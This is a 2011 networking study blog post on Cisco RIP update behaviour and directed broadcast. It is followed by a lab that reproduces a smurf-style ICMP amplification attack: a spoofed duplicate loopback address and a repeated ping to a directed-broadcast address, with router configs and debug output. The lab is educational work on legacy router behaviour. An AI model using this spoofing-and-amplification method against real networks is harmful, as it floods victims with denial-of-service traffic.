Wednesday, December 14, 2011

UPDATE TYPES RIP,DIRECTED BROADCAST AND LAB ON SMURF ATTACK

Upate Types RIP + Directed Broadcast & Denial of Service Attack

  •  Broadcast is default for ripv1 if for some reason you wanted on rip version 2 under the interface
ip rip v2-broadcast
  • Multicast is the default for ripv2 (224.0.0.9)
  • If you wanted to change the broadcast/multicast to unicastYou use under the rip global process
neighbor "address"

  • This is different to eigrp and ospf which automatically suppress the broadcast/mcast in rip it does not it sends both unicast and bcast/mcast
  • To suppress the broadcast you need to do
passive interface "interface" - the reason you may want to do this is stop updates going to all devices on the segment it could be done for additional security.  You would then specfically assign out your neighbors.
  • A broadcast is a packet sent to the 255.255.255.255 address which reaches all host on that particular network segment
  •  A Legacy technology that was used was directed broadcast which sent to the last address in the subnt so for example you had an address 172.25.13.1/24 to direct broadcast to this and other in the 172.25.13.0/24 you would send a packet to 172.25.13.255 and this was understood to be broadcast + was sent to all host on the network.
  • Wake on Lan used directed broadcast also dhcp and netbnios
  • The reason this became legacy is that there is security holes in it. The problem being that a client on remote segment has the possiblity to route to this address and when it recieved on the segment it is understood to be broadcast.
  • Two of type of attacks on this where the fragile attack and the smurf attack. They were basically the same process except fragile was for udp type traffic and smurf was for icmp.
  • The idea behind the ddos attack is you would take a router on remote segment of the network and give it the same ip address as router on another segment not advertising  this address out then you would souce a extended ping for example to the directed broadcast address of remote segment sourcing from the duplicate address this was then  recieved by all hosts of that segment 
  • Anothe aspect of rip updates is that it will by default validate the source of the update checks to see if the source of the update received is in the same subnet as that configured on the router's receiving interface. This can cause problems if you are using secondary ip address
  • For example if you have routers A B and C. Routers A +B are in the 10.10.10.x/24 subnet but router C is in the 100.100.100.x/24 range. You apply a secondary IP to router B in the 100.100.100.100 range. Not good design but it works. So router C sends RIP routes to B, no problem B recieves them. But when B goes to send routes to C it's source is 10.10.10.x, so C discards them.
No validate-update-source will fix this. Remember routers always use thier primary address to send.

LAB

Ok i am going lab the directed broacast attack
r1 is the attacker
r5 is the victim
and sw2 r2 & r4 will be used by r1 to attack r5




Ok we will start by configuring the target of the attack r5

r5#sh ip int brief
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            10.229.254.1    YES manual up                    up 
FastEthernet0/1            unassigned      YES TFTP   up                    down
Serial0/0/0                unassigned      YES NVRAM  administratively down down
Serial0/1/0                unassigned      YES NVRAM  administratively down down
Loopback0                  5.5.5.5         YES NVRAM  up                    up 
so we have loopback configured 5.5.5.5  and int fa0/0 both will run ripv2 the protocol is irrevlant could used eigrp

r5#sh run | begin router rip
router rip
 version 2
 network 5.0.0.0
 network 10.0.0.0
 no auto-summary
!
sw1
----
JUst to configure switch 1 it is just intermediatary router with r5,r1,sw2 connected

switch1#sh ip int brief
Interface              IP-Address      OK? Method Status                Protocol
Vlan1                  unassigned      YES NVRAM  administratively down down
FastEthernet0/1        10.164.51.1     YES manual down                  down
FastEthernet0/5        10.229.254.2    YES manual up                    up
FastEthernet0/6        unassigned      YES unset  down                  down
Port-channel2          192.168.1.2     YES NVRAM  up                    up

router rip
 version 2
 network 10.0.0.0
 network 192.168.1.0
 no auto-summary

r1
---

This is the attacker router

r1#sh ip int brief
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            10.164.51.2     YES manual up                    up 
Serial0/0                  unassigned      YES NVRAM  administratively down down
Serial0/1                  unassigned      YES NVRAM  administratively down down
Loopback0                  5.5.5.5         YES manual up                    up 

r1#sh run  | begin router rip
router rip
 version 2
 network 10.0.0.0
 no auto-summary
!

notice we have configured lo0 with same ip address as r5 loopback but we are not adverising it in rip

sw2
----
THis is the segment switch router

switch2#sh ip int brief
Interface              IP-Address      OK? Method Status                Protocol
Vlan1                  unassigned      YES NVRAM  administratively down down
Vlan10                 172.16.15.1     YES manual up                    down
Port-channel2          192.168.1.2     YES NVRAM  up                    up
Loopback0              1.1.1.1         YES NVRAM  up                    up
switch1#

switch2(config)#do sh run int vlan 10
Building configuration...
Current configuration : 85 bytes
!
interface Vlan10
 ip address 172.16.15.1 255.255.255.0
 ip directed-broadcast
end
Notice directed broadcast is enabled

the clients (r2 and r4) are connected to fa0/2 and fa0/4 respectively
switch2#sh run int fa0/2
Building configuration...
Current configuration : 60 bytes
!
interface FastEthernet0/2
 switchport access vlan 10
end
switch2#

switch2(config)#do sh run int fa0/4
Building configuration...
Current configuration : 60 bytes
!
interface FastEthernet0/4
 switchport access vlan 10
end
r2
--
no ip routing
int fa0/0
ip address 172.16.15.2 255.255.255.0
ip default-gatway 172.16.15.1

r4
---
same on r4 different ip
no ip routing
int fa0/0
ip address 172.16.15.3 255.255.255.0
ip default-gatway 172.16.15.1

ok just a few test make sure everything is good
------------------------------------------------

r4 can ping r 5 loopback
switch2#ping 5.5.5.5
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5.5.5.5, timeout is 2 seconds:
.!!!!
Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms
switch2#
r5 can ping host r2 and r4
r5#ping 172.16.15.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 172.16.15.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms
r5#ping 172.16.15.3
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 172.16.15.3, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/4 ms
r5#

r1 can ping host r2 and r4

r1#ping 172.16.15.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 172.16.15.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms
r1#ping 172.16.15.3
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 172.16.15.3, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms
r1#

ATTACK
-------
OK for the attack we will send a extended ping from r1 to directed broadcast address sourcing the ping from 5.5.5.5 all host r4 and r2 will send the traffic back to 5.5.5.5 which will not be r1 but r5 loopback which is advertised
i will put a debug icmp on r1, r2 and r5
debug ip icmp

so on r1
r1#ping 172.16.15.255 source lo0 repeat 10000 timeout 0

on r2 debug
-----------
*Mar  1 01:19:21.731: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:21.731: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:21.735: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:21.735: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:21.735: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:21.739: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:21.739: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:21.743: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:22.475: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:22.475: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:22.479: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
*Mar  1 01:19:22.479: ICMP: echo reply sent, src 172.16.15.2, dst 5.5.5.5
on r5
-----

[Resuming connection 2 to r5 ... ]
ICMP: echo reply rcvd, src 192.168.1.1, dst 5.5.5.5
ICMP: echo reply rcvd, src 172.16.15.3, dst 5.5.5.5
*Dec 14 16:02:39.715: ICMP: echo reply rcvd, src 192.168.1.1, dst 5.5.5.5
*Dec 14 16:02:39.719: ICMP: echo reply rcvd, src 172.16.15.3, dst 5.5.5.5
*Dec 14 16:02:39.719: ICMP: echo reply rcvd, src 172.16.15.2, dst 5.5.5.5
*Dec 14 16:02:39.719: ICMP: echo reply rcvd, src 192.168.1.1, dst 5.5.5.5
*Dec 14 16:02:39.719: ICMP: echo reply rcvd, src 172.16.15.3, dst 5.5.5.5

th echos on r5 are being recieved from both hosts on the segment

This could be used as denial of service attack

No comments:

Post a Comment